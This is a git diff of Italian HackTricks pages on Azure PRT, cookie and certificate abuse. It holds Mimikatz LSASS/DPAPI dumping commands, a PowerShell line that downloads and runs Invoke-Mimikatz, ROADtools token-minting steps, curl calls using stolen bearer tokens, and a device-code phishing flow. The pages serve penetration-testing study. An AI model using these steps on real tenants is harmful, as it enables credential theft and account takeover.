+curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq + +# Download a file from Teams +## You need a token that can access graph.microsoft.com +## Then, find the inside the memory and call +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq + +## Then, list one drive +curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq + +## Finally, download a file from that drive: +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +``` +**Nota che questi tipi di token di accesso possono essere trovati anche all'interno di altri processi.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index e63057628..64ce0124c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -12,7 +12,7 @@ In termini super semplificati: - Il client crea un'intestazione JSON Web Token (JWT) contenente PRT e altri dettagli, la firma utilizzando la chiave derivata (utilizzando la chiave di sessione e il contesto di sicurezza) e **la invia a Entra ID**. - Entra ID verifica la firma JWT utilizzando la chiave di sessione del client e il contesto di sicurezza, controlla la validità del PRT e **risponde** con il **certificato**. -In questo scenario e dopo aver raccolto tutte le informazioni necessarie per un attacco [**Pass the PRT**](pass-the-prt.md): +In questo scenario e dopo aver raccolto tutte le informazioni necessarie per un attacco [**Pass the PRT**](az-primary-refresh-token-prt.md): - Nome utente - ID tenant diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 91b2a4b4f..c416f41aa 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -14,7 +14,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ## Attacco -La parte difficile è che questi **cookie sono crittografati** per l'**utente** tramite l'API di protezione dei dati di Microsoft (**DPAPI**). Questo è crittografato utilizzando [chiavi crittografiche legate all'utente](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) a cui appartengono i cookie. Puoi trovare ulteriori informazioni su questo in: +La parte difficile è che quei **cookie sono crittografati** per l'**utente** tramite l'API di protezione dei dati Microsoft (**DPAPI**). Questo è crittografato utilizzando [chiavi crittografiche legate all'utente](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) a cui appartengono i cookie. Puoi trovare ulteriori informazioni su questo in: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 55dc1a3f9..f6983e12c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -4,9 +4,9 @@ ## Cos'è un Primary Refresh Token (PRT)? -Un **Primary Refresh Token (PRT)** è un token di refresh a lungo termine utilizzato nell'autenticazione di Azure AD (Entra ID), analogo a un Kerberos TGT. Viene emesso al momento del login dell'utente su un dispositivo unito ad Azure AD e può essere utilizzato per richiedere token di accesso per varie applicazioni senza richiedere nuovamente le credenziali. Ogni PRT è accompagnato da una **session key** (chiamata anche chiave di Proof-of-Possession) -- una chiave simmetrica utilizzata per firmare le richieste e dimostrare che il client possiede il PRT. Il PRT stesso è un blob opaco e crittografato (non leggibile dal client), mentre la session key viene utilizzata per **firmare** un JWT contenente il PRT quando si richiedono token. In altre parole, il possesso del PRT da solo non è sufficiente; un attaccante ha bisogno della session key per dimostrare la legittimità, simile alla necessità di avere sia un Kerberos TGT che la sua session key per l'autenticazione. +Un **Primary Refresh Token (PRT)** è un token di refresh a lungo termine utilizzato nell'autenticazione di Azure AD (Entra ID), analogo a un Kerberos TGT. Viene emesso al momento del login dell'utente su un dispositivo unito ad Azure AD e può essere utilizzato per richiedere token di accesso per varie applicazioni senza richiedere nuovamente le credenziali. Ogni PRT è accompagnato da una **session key** (nota anche come chiave di Proof-of-Possession) -- una chiave simmetrica utilizzata per firmare le richieste e dimostrare che il client possiede il PRT. Il PRT stesso è un blob opaco e crittografato (non leggibile dal client), mentre la session key viene utilizzata per **firmare** un JWT contenente il PRT quando si richiedono token. In altre parole, il possesso del PRT da solo non è sufficiente; un attaccante ha bisogno della session key per dimostrare la legittimità, simile alla necessità di avere sia un Kerberos TGT che la sua session key per l'autenticazione. -Su Windows, il PRT e la session key sono memorizzati nella cache nel processo LSASS tramite il plugin CloudAP. Se un dispositivo ha un **TPM** (Trusted Platform Module), Azure AD associa le chiavi al TPM per una maggiore sicurezza. Ciò significa che sui dispositivi dotati di TPM, la session key è memorizzata o utilizzata all'interno del TPM in modo tale che non possa essere letta direttamente dalla memoria in circostanze normali. Se non è disponibile alcun TPM (ad esempio, molte VM o sistemi più vecchi), le chiavi vengono mantenute in software e protette con crittografia DPAPI. In entrambi i casi, un attaccante con privilegi amministrativi o esecuzione di codice sulla macchina può tentare di **dumpare il PRT e la session key dalla memoria** come parte della post-exploitation, e poi usarli per impersonare l'utente nel cloud. A differenza dei token di refresh tipici (che sono solitamente specifici per l'applicazione), un PRT è più ampio, consentendo al tuo dispositivo di richiedere token per quasi tutte le risorse o servizi integrati in Entra ID. +Su Windows, il PRT e la session key sono memorizzati nella cache nel processo LSASS tramite il plugin CloudAP. Se un dispositivo ha un **TPM** (Trusted Platform Module), Azure AD associa le chiavi al TPM per una maggiore sicurezza. Ciò significa che sui dispositivi dotati di TPM, la session key è memorizzata o utilizzata all'interno del TPM in modo tale che non possa essere letta direttamente dalla memoria in circostanze normali. Se non è disponibile alcun TPM (ad esempio, molte VM o sistemi più vecchi), le chiavi sono conservate nel software e protette con crittografia DPAPI. In entrambi i casi, un attaccante con privilegi amministrativi o esecuzione di codice sulla macchina può tentare di **dumpare il PRT e la session key dalla memoria** come parte della post-exploitation, e poi usarli per impersonare l'utente nel cloud. A differenza dei tipici token di refresh (che sono solitamente specifici per l'applicazione), un PRT è più ampio, consentendo al tuo dispositivo di richiedere token per quasi tutte le risorse o servizi integrati in Entra ID. ## Come funziona un PRT? @@ -16,7 +16,7 @@ Ecco una semplificazione di come opera un PRT: - Quando il tuo dispositivo (come un laptop Windows o un telefono cellulare) si unisce o si registra con Entra ID, si autentica utilizzando le tue credenziali (nome utente/password/MFA). -- Dopo un'autenticazione riuscita, Entra ID emette un PRT legato specificamente al tuo dispositivo. +- Dopo un'autenticazione riuscita, Entra ID emette un PRT specificamente legato al tuo dispositivo. 2. **Memorizzazione del Token:** @@ -61,14 +61,22 @@ dsregcmd /status # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). ``` -## Dump e utilizza PRT non protetti +## Passa il PRT -Secondo [questo post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) sui dispositivi Windows **senza binding TPM**, il PRT e la sua chiave di sessione vivono in LSASS (plug-in CloudAP). Con admin locale/SYSTEM su quel dispositivo, il blob PRT e la chiave di sessione crittografata con DPAPI possono essere **letti da LSASS, la chiave di sessione decrittografata tramite DPAPI, e la chiave di firma derivata** per coniare un cookie PRT valido (`x‑ms‑RefreshTokenCredential`). Hai bisogno sia del PRT che della sua chiave di sessione: la stringa PRT da sola non è sufficiente. +Secondo [questo post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) sui dispositivi Windows **senza binding TPM**, il PRT e la sua chiave di sessione risiedono in LSASS (CloudAP plug‑in). Con admin locale/SYSTEM su quel dispositivo, il blob PRT e la chiave di sessione crittografata con DPAPI possono essere **letto da LSASS, la chiave di sessione decrittografata tramite DPAPI, e la chiave di firma derivata** per coniare un cookie PRT valido (`x‑ms‑RefreshTokenCredential`). Hai bisogno sia del PRT che della sua chiave di sessione: la stringa PRT da sola non è sufficiente. ### Mimikatz + +1. Il **PRT (Primary Refresh Token) viene estratto da LSASS** (Local Security Authority Subsystem Service) e memorizzato per un uso successivo. +2. La **Session Key viene estratta successivamente**. Dato che questa chiave viene inizialmente emessa e poi ri-cifrata dal dispositivo locale, richiede decrittografia utilizzando una masterkey DPAPI. Informazioni dettagliate su DPAPI (Data Protection API) possono essere trovate in queste risorse: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e per comprendere la sua applicazione, fai riferimento all'attacco [Pass-the-cookie](az-pass-the-cookie.md). +3. Dopo la decrittografia della Session Key, la **chiave derivata e il contesto per il PRT vengono ottenuti**. Questi sono cruciali per la **creazione del cookie PRT**. In particolare, la chiave derivata viene utilizzata per firmare il JWT (JSON Web Token) che costituisce il cookie. Una spiegazione completa di questo processo è stata fornita da Dirk-jan, accessibile [qui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). ```bash privilege::debug sekurlsa::cloudap + +# Or in powershell +iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") +Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` Il **campo PRT** contiene il token di refresh crittografato (tipicamente una stringa base64), e KeyValue nel ProofOfPossessionKey è la chiave di sessione crittografata con DPAPI (anch'essa base64). @@ -78,10 +86,13 @@ Poiché la crittografia DPAPI per i segreti di sistema richiede il contesto di s ```bash token::elevate dpapi::cloudapkd /keyvalue: /unprotect + +# PowerShell version +Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect"' ``` Il `token::elevate` impersonerà il SYSTEM e il comando `dpapi::cloudapkd` con `/unprotect` utilizzerà la chiave master DPAPI per decrittografare il blob KeyValue fornito. Questo produce la chiave di sessione in chiaro e anche la Derived Key e il Context associati utilizzati per la firma: - **Chiave chiara** – la chiave di sessione di 32 byte in testo normale (rappresentata come una stringa esadecimale). -- **Derived Key** – una chiave di 32 byte derivata dalla chiave di sessione e da un valore di contesto (di seguito maggiori dettagli). +- **Derived Key** – una chiave di 32 byte derivata dalla chiave di sessione e da un valore di contesto (ulteriori dettagli di seguito). - **Context** – un contesto casuale di 24 byte utilizzato durante la derivazione della chiave di firma per il cookie PRT. > [!NOTE] @@ -94,12 +105,11 @@ Poi, puoi anche usare mimikatz per generare un cookie PRT valido: # PRT is obtained from sekurlsa::cloudap (filed "Prt" dpapi::cloudapkd /context: /derivedkey: /prt: ``` -Mimikatz produrrà un JWT firmato (il `PRT cookie`) dopo la riga “Signature with key”, che contiene il PRT ed è firmato utilizzando la chiave derivata. Questo JWT può essere copiato e poi utilizzato in una sessione web. Ad esempio, un attaccante può aprire un browser, andare su `login.microsoftonline.com` e impostare un cookie chiamato `x-ms-RefreshTokenCredential` con il valore di questo JWT. Quando il browser si aggiorna o naviga, Azure AD tratterà la sessione come autenticata (il PRT cookie è presentato come se fosse avvenuto SSO), e emetterà un codice di autorizzazione o un token di accesso per la risorsa specificata. In pratica, si naviga verso una risorsa come Office 365 o il portale Azure; la presenza di un valido PRT cookie significa che Azure AD concederà accesso senza ulteriori login (bypassando MFA, poiché il PRT è già autenticato). +Mimikatz restituirà un JWT firmato (il `PRT cookie`) dopo la riga “Signature with key”, che contiene il PRT ed è firmato utilizzando la chiave derivata. Questo JWT può essere copiato e poi utilizzato in una sessione web. Ad esempio, un attaccante può aprire un browser, andare su `login.microsoftonline.com` e impostare un cookie chiamato `x-ms-RefreshTokenCredential` con il valore di questo JWT. Quando il browser si aggiorna o naviga, Azure AD tratterà la sessione come autenticata (il PRT cookie è presentato come se fosse avvenuto SSO), e emetterà un codice di autorizzazione o un token di accesso per la risorsa specificata. In pratica, si naviga verso una risorsa come Office 365 o il portale Azure; la presenza di un valido PRT cookie significa che Azure AD concederà accesso senza ulteriori login (bypassando MFA, poiché il PRT è già autenticato). -Si potrebbe anche utilizzare **`roadtx`** e **`roadrecon`** con il PRT del PRT cookie per impersonare l'utente *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*. +Potresti anche usare **`roadtx`** e **`roadrecon`** con il PRT del PRT cookie per impersonare l'utente *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*. - -### AADInternals +### Mimikatz + AADInternals Il modulo PowerShell **`AADInternals`** può essere utilizzato anche con il PRT e la chiave di sessione ottenuti in precedenza per generare un token PRT valido. Questo è utile per automatizzare il processo di ottenimento di un nuovo token PRT con nonce, che può essere utilizzato per recuperare token di accesso per Azure AD Graph API o altre risorse: ```bash @@ -125,11 +135,30 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey # Get an access token for MS Graph API Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken ``` -Questo ottiene un cookie PRT fresco (con un nonce) e poi lo utilizza per recuperare un token di accesso per l'Azure AD Graph API (dimostrando l'accesso cloud per conto dell'utente). AADInternals astrae gran parte della crittografia e utilizza componenti Windows o la propria logica in background. +Questo ottiene un cookie PRT fresco (con un nonce) e poi lo utilizza per recuperare un token di accesso per l'Azure AD Graph API (dimostrando l'accesso al cloud per conto dell'utente). AADInternals astrae gran parte della crittografia e utilizza componenti Windows o la propria logica in background. +### Mimikatz + roadtx + +- Rinnova prima il PRT, che verrà salvato in `roadtx.prt`: +```bash +roadtx prt -a renew --prt --prt-sessionkey +``` +- Ora possiamo **richiedere token** utilizzando il browser interattivo con `roadtx browserprtauth`. Se utilizziamo il comando `roadtx describe`, vediamo che il token di accesso include un reclamo MFA perché il PRT che ho usato in questo caso aveva anche un reclamo MFA. +```bash +roadtx browserprtauth +roadtx describe < .roadtools_auth +``` +
+ +#### Mimikatz + roadrecon + +Avendo il contesto e la chiave derivata estratta da mimikatz, è possibile utilizzare roadrecon per generare un nuovo cookie firmato con: +```bash +roadrecon auth --prt-cookie --prt-context --derives-key +``` ## Abusare dei PRT protetti -Nonostante le protezioni menzionate, un attaccante che ha già compromesso un dispositivo (come utente locale o anche SYSTEM) può comunque **abusare del PRT per ottenere nuovi token di accesso** sfruttando le API del broker di token e i componenti di sicurezza di Windows. Invece di **estrarre** il PRT o la chiave grezza, l'attaccante essenzialmente **"chiede" a Windows di utilizzare il PRT per suo conto**. Nelle sezioni seguenti, delineiamo le tecniche attualmente valide per abusare dei PRT e delle loro chiavi di sessione su dispositivi Windows aggiornati dove sono in vigore le protezioni TPM. Tutte queste tecniche assumono accesso post-sfruttamento sulla macchina target e **si concentrano sull'abuso dei flussi di autenticazione integrati** (non sono necessarie vulnerabilità non corrette). +Nonostante le protezioni menzionate, un attaccante che ha già compromesso un dispositivo (come utente locale o anche come SYSTEM) può comunque **abusare del PRT per ottenere nuovi token di accesso** sfruttando le API e i componenti di sicurezza del broker di token di Windows. Invece di **estrarre** il PRT o la chiave, l'attaccante essenzialmente **"chiede" a Windows di utilizzare il PRT per suo conto**. Nelle sezioni seguenti, delineiamo le tecniche attualmente valide per abusare dei PRT e delle loro chiavi di sessione su dispositivi Windows aggiornati dove sono in vigore le protezioni TPM. Tutte queste tecniche assumono accesso post-sfruttamento sulla macchina target e **si concentrano sull'abuso dei flussi di autenticazione integrati** (non sono necessarie vulnerabilità non corrette). ### Architettura del Token Broker di Windows e Flusso SSO @@ -137,11 +166,11 @@ I moderni Windows gestiscono l'autenticazione cloud tramite un **token broker** - **Plugin CloudAP di LSASS:** Quando un dispositivo è unito ad Azure AD, LSASS carica pacchetti di autenticazione cloud (ad es. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) che gestiscono i PRT e le richieste di token. LSASS (in esecuzione come SYSTEM) orchestra la memorizzazione, il rinnovo e l'uso del PRT, e interagisce con il TPM per eseguire operazioni crittografiche (come firmare una sfida PRT con la chiave di sessione). -- **Web Account Manager (WAM):** Il Windows Web Account Manager è un framework in modalità utente (accessibile tramite API COM/WinRT) che consente ad applicazioni o browser di richiedere token per account cloud senza richiedere credenziali. WAM funge da broker tra le applicazioni utente e il sicuro PRT supportato da LSASS/TPM. Ad esempio, la libreria MSAL di Microsoft e alcuni componenti del sistema operativo utilizzano WAM per acquisire silenziosamente token utilizzando il PRT dell'utente connesso. +- **Web Account Manager (WAM):** Il Windows Web Account Manager è un framework in modalità utente (accessibile tramite API COM/WinRT) che consente ad applicazioni o browser di richiedere token per account cloud senza richiedere credenziali. WAM funge da intermediario tra le applicazioni utente e il PRT protetto da LSASS/TPM. Ad esempio, la libreria MSAL di Microsoft e alcuni componenti del sistema operativo utilizzano WAM per acquisire silenziosamente token utilizzando il PRT dell'utente connesso. - **BrowserCore.exe e interfacce COM del Token Broker:** Per SSO del browser, Windows include un componente chiamato **BrowserCore.exe** (situato sotto *Windows Security\BrowserCore*). Questo è un host di messaggistica nativo utilizzato dai browser (Edge, Chrome tramite un'estensione, ecc.) per ottenere un token SSO derivato dal PRT per il login ad Azure AD. Sotto il cofano, BrowserCore sfrutta un oggetto COM fornito da `MicrosoftAccountTokenProvider.dll` per recuperare un cookie/token basato su PRT. In sostanza, questa interfaccia COM è un'API "token broker" di prima parte che qualsiasi processo in esecuzione come utente può chiamare per ottenere un token SSO (a condizione che l'utente abbia un PRT valido in LSASS). -Quando un utente unito ad Azure AD cerca di accedere a una risorsa (ad esempio, il Portale Azure), il flusso è tipicamente: un'applicazione chiama l'interfaccia COM di WAM o BrowserCore, che a sua volta comunica con LSASS. LSASS utilizza il PRT e la chiave di sessione (protetta da TPM) per produrre un **token SSO** -- spesso chiamato **cookie PRT** -- che viene poi restituito all'applicazione o al browser. Il cookie PRT è un JWT speciale contenente il PRT crittografato e un nonce, firmato con una chiave derivata dalla chiave di sessione del PRT. Questo cookie viene inviato ad Azure AD (in un'intestazione `x-ms-RefreshTokenCredential`) per dimostrare che il dispositivo e l'utente detengono un PRT valido, consentendo ad Azure AD di emettere token di accesso e refresh OAuth standard per varie applicazioni. È importante notare che qualsiasi richiesta di Autenticazione Multi-Fattore (MFA) presente nel PRT sarà trasferita nei token ottenuti tramite questo processo SSO, il che significa che i token derivati dal PRT possono soddisfare le risorse protette da MFA. +Quando un utente unito ad Azure AD cerca di accedere a una risorsa (ad esempio, il Portale Azure), il flusso è tipicamente: un'applicazione chiama l'interfaccia COM di WAM o BrowserCore, che a sua volta comunica con LSASS. LSASS utilizza il PRT e la chiave di sessione (protetta da TPM) per produrre un **token SSO** -- spesso chiamato **cookie PRT** -- che viene poi restituito all'applicazione o al browser. Il cookie PRT è un JWT speciale contenente il PRT crittografato e un nonce, firmato con una chiave derivata dalla chiave di sessione del PRT. Questo cookie viene inviato ad Azure AD (in un'intestazione `x-ms-RefreshTokenCredential`) per dimostrare che il dispositivo e l'utente possiedono un PRT valido, consentendo ad Azure AD di emettere token di accesso e refresh OAuth standard per varie applicazioni. È importante notare che qualsiasi richiesta di Autenticazione Multi-Fattore (MFA) presente nel PRT sarà trasferita nei token ottenuti tramite questo processo SSO, il che significa che i token derivati dal PRT possono soddisfare le risorse protette da MFA. ### Furto di Token a Livello Utente (Non-Admin) @@ -149,7 +178,7 @@ Quando un attaccante ha **esecuzione di codice a livello utente**, la protezione #### **BrowserCore (MicrosoftAccountTokenProvider COM)** -BrowserCore espone una classe COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) per recuperare i cookie PRT. Questa API COM è invocata legittimamente dai browser (estensioni Chrome/Edge) per SSO di Azure AD. +BrowserCore espone una classe COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) per recuperare i cookie PRT. Questa API COM è invocata legittimamente dai browser (estensioni Chrome/Edge) per SSO Azure AD. - **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** ```bash @@ -158,16 +187,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com *(Restituisce un token di aggiornamento Azure AD o un cookie PRT)* - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** + +ROADtoken eseguirà **`BrowserCore.exe`** dalla directory corretta e lo utilizzerà per **ottenere un cookie PRT**. Questo cookie può poi essere utilizzato con ROADtools per autenticarsi e **ottenere un token di aggiornamento persistente**. + +Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.\ +Puoi ottenerlo con: ```bash -ROADtoken.exe --nonce -roadrecon auth --prt-cookie +$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" +$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" + +$Params = @{ +"URI" = $URL +"Method" = "POST" +} +$Body = @{ +"grant_type" = "srv_challenge" +} +$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body +$Result.Nonce +AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` -*(Genera nonce, invoca BrowserCore per ottenere il cookie PRT, quindi lo riscatta tramite ROADtools)* +O utilizzando [**roadrecon**](https://github.com/dirkjanm/ROADtools): +```bash +roadrecon auth prt-init +``` +Puoi quindi utilizzare [**roadtoken**](https://github.com/dirkjanm/ROADtoken) per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare): +```bash +.\ROADtoken.exe +``` +Come oneliner: +```bash +Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} +``` +Puoi quindi utilizzare il **cookie generato** per **generare token** per **accedere** utilizzando Azure AD **Graph** o Microsoft Graph: +```bash +# Generate +roadrecon auth --prt-cookie +# Connect +Connect-AzureAD --AadAccessToken --AccountId +``` +### **Web Account Manager (WAM) APIs** -### **API del Web Account Manager (WAM)** - -Gli attaccanti utilizzano librerie di autenticazione Microsoft legittime (**MSAL**, **API WAM**, **WebAuthenticationCoreManager**) da processi a livello utente per recuperare silenziosamente i token sfruttando il PRT protetto da TPM. +Gli attaccanti utilizzano librerie di autenticazione Microsoft legittime (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) da processi a livello utente per recuperare silenziosamente i token sfruttando il PRT protetto da TPM. - **[aadprt](https://posts.specterops.io/)** @@ -196,13 +258,13 @@ Se l'attaccante si eleva a **Amministratore o SYSTEM**, può impersonare diretta ### **Impersonificazione dell'Utente e Recupero del Token** -Admin/SYSTEM potrebbe impersonare sessioni in esecuzione di altri utenti per invocare BrowserCore o WAM per la generazione di token. +Admin/SYSTEM potrebbe impersonare le sessioni in esecuzione di altri utenti per invocare BrowserCore o WAM per la generazione del token. Per questo basta impersonare il processo utente (ad es., `explorer.exe`) e invocare le API del broker di token utilizzando qualsiasi tecnica commentata nella sezione precedente. ### **Interazione Diretta con LSASS e Broker di Token (Avanzato)** -Un amministratore può ancora lavorare con LSASS per abusare del PRT: ad esempio, un admin potrebbe iniettare codice in LSASS o chiamare funzioni interne di CloudAP per indurre LSASS a produrre un token. La ricerca di Dirk-jan ha notato che un admin può “interagire con le chiavi PRT in LSASS utilizzando API crittografiche”. In pratica, questo potrebbe significare utilizzare le funzioni di LSASS (tramite una tecnica come l'API hooking o RPC, se disponibile) per generare un cookie PRT. Un altro approccio è sfruttare qualsiasi finestra in cui la chiave di sessione potrebbe apparire in memoria – ad esempio, nel momento del rinnovo del PRT o della registrazione del dispositivo quando è decrittografato per l'uso. Tali attacchi sono notevolmente più complessi e situazionali. Una tattica amministrativa più diretta è abusare degli handle o delle cache di token esistenti: LSASS memorizza nella cache i token di aggiornamento recentemente emessi per le app in memoria (crittografati con DPAPI). Un attaccante SYSTEM determinato potrebbe tentare di estrarre questi token protetti da DPAPI (utilizzando la chiave master dell'utente, che un admin può ottenere) per rubare direttamente i token di aggiornamento per applicazioni specifiche. Tuttavia, il metodo più semplice e generico rimane l'impersonificazione e l'uso delle interfacce del broker di token documentate, poiché queste garantiscono che Azure AD emetta nuovi token (con tutte le corrette affermazioni) piuttosto che tentare di decifrare la crittografia. +Un amministratore può ancora lavorare con LSASS per abusare del PRT: ad esempio, un admin potrebbe iniettare codice in LSASS o chiamare funzioni interne di CloudAP per indurre LSASS a produrre un token. La ricerca di Dirk-jan ha notato che un admin può “interagire con le chiavi PRT in LSASS utilizzando API crittografiche”. In pratica, questo potrebbe significare utilizzare le funzioni di LSASS (tramite una tecnica come l'API hooking o RPC, se disponibile) per generare un cookie PRT. Un altro approccio è sfruttare qualsiasi finestra in cui la chiave di sessione potrebbe apparire in memoria – ad esempio, nel momento del rinnovo del PRT o della registrazione del dispositivo quando è decrittografato per l'uso. Tali attacchi sono notevolmente più complessi e situazionali. Una tattica amministrativa più diretta è abusare degli handle di token o delle cache esistenti: LSASS memorizza nella cache i token di aggiornamento recentemente emessi per le app in memoria (crittografati con DPAPI). Un attaccante SYSTEM determinato potrebbe tentare di estrarre questi token protetti da DPAPI (utilizzando la chiave master dell'utente, che un admin può ottenere) per rubare direttamente i token di aggiornamento per applicazioni specifiche. Tuttavia, il metodo più semplice e generico rimane l'impersonificazione e l'uso delle interfacce del broker di token documentate, poiché queste garantiscono che Azure AD emetta nuovi token (con tutte le rivendicazioni appropriate) piuttosto che tentare di decifrare la crittografia. ## Phishing dei PRT @@ -212,18 +274,18 @@ Abusa del flusso **OAuth Device Code** utilizzando l'**ID client del Microsoft A - **PRT** è **legato al dispositivo** e consente **SSO per (quasi) qualsiasi app protetta da Entra**. - La combinazione **Broker client + DRS** consente a un **token di aggiornamento** rubato di essere **scambiato per un PRT** una volta registrato un dispositivo. -- **MFA non viene bypassato**: l'**utente esegue MFA** durante il phishing; le **affermazioni MFA si propagano** nel PRT risultante, consentendo all'attaccante di accedere alle app **senza ulteriori richieste**. +- **MFA non viene bypassato**: l'**utente esegue MFA** durante il phishing; **le rivendicazioni MFA si propagano** nel PRT risultante, consentendo all'attaccante di accedere alle app **senza ulteriori richieste**. **Prerequisiti**: -- **Autenticazione utente tramite Device Code** utilizzando l'**ID client del Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) e le **scopes/resource DRS** (ad es., **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** o **`https://enrollment.manage.microsoft.com/`**). +- **Autenticazione utente tramite Device Code** utilizzando l'**ID client del Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) e le **scopes/risorse DRS** (ad es., **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** o **`https://enrollment.manage.microsoft.com/`**). - **L'utente può registrare dispositivi** in Entra ID (**predefinito: consentito**, ma può essere limitato o soggetto a quota). -- **Nessuna politica CA di blocco** che **disabiliti il Device Code** o **richieda dispositivi conformi/ibridi** per le app target (queste non fermeranno l'emissione del PRT, ma **bloccheranno** **l'uso** per accedere ad app protette). -- **Host controllato dall'attaccante** per eseguire il flusso e mantenere i token/le chiavi del dispositivo. +- **Nessuna politica CA di blocco** che **disabiliti il Device Code** o **richieda dispositivi conformi/ibridi** per le app target (queste non fermeranno l'emissione del PRT, ma **bloccheranno** **l'uso** per accedere alle app protette). +- **Host controllato dall'attaccante** per eseguire il flusso e detenere i token/le chiavi del dispositivo. **Flusso di Attacco**: -1. **Iniziare l'autenticazione con Device Code** con **client_id = Broker** e **scopo/richiesta DRS**; mostrare il **codice utente** alla vittima. +1. **Iniziare l'autenticazione con Device Code** con **client_id = Broker** e **scopo/risorsa DRS**; mostrare il **codice utente** alla vittima. ```bash curl -s -X POST \ "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \ @@ -232,7 +294,7 @@ curl -s -X POST \ ``` 2. **La vittima accede al sito di Microsoft** (UI legittima) e completa **MFA** → **l'attaccante riceve un token di refresh con ambito DRS** per il client Broker. -3. **Registrare un dispositivo malevolo** nel tenant utilizzando quel token di refresh (l'oggetto dispositivo viene creato e collegato alla vittima). +3. **Registrare un dispositivo rogue** nel tenant utilizzando quel token di refresh (l'oggetto dispositivo viene creato e collegato alla vittima). 4. **Aggiornare a un PRT** scambiando il **token di refresh + identità/chiavi del dispositivo** → **PRT** legato al dispositivo dell'attaccante. @@ -249,7 +311,7 @@ curl -s -X POST \ ## Riferimenti -- [Post di Dirkjan su PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +- [Post di Dirkjan sul PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) - [Post di Dirkjan sul phishing dei PRT](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) - [Post di Dirkjan sull'abuso dei PRT](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) - Post di SpecterOps su [Richiesta di Token di Richiesta Azure AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md deleted file mode 100644 index 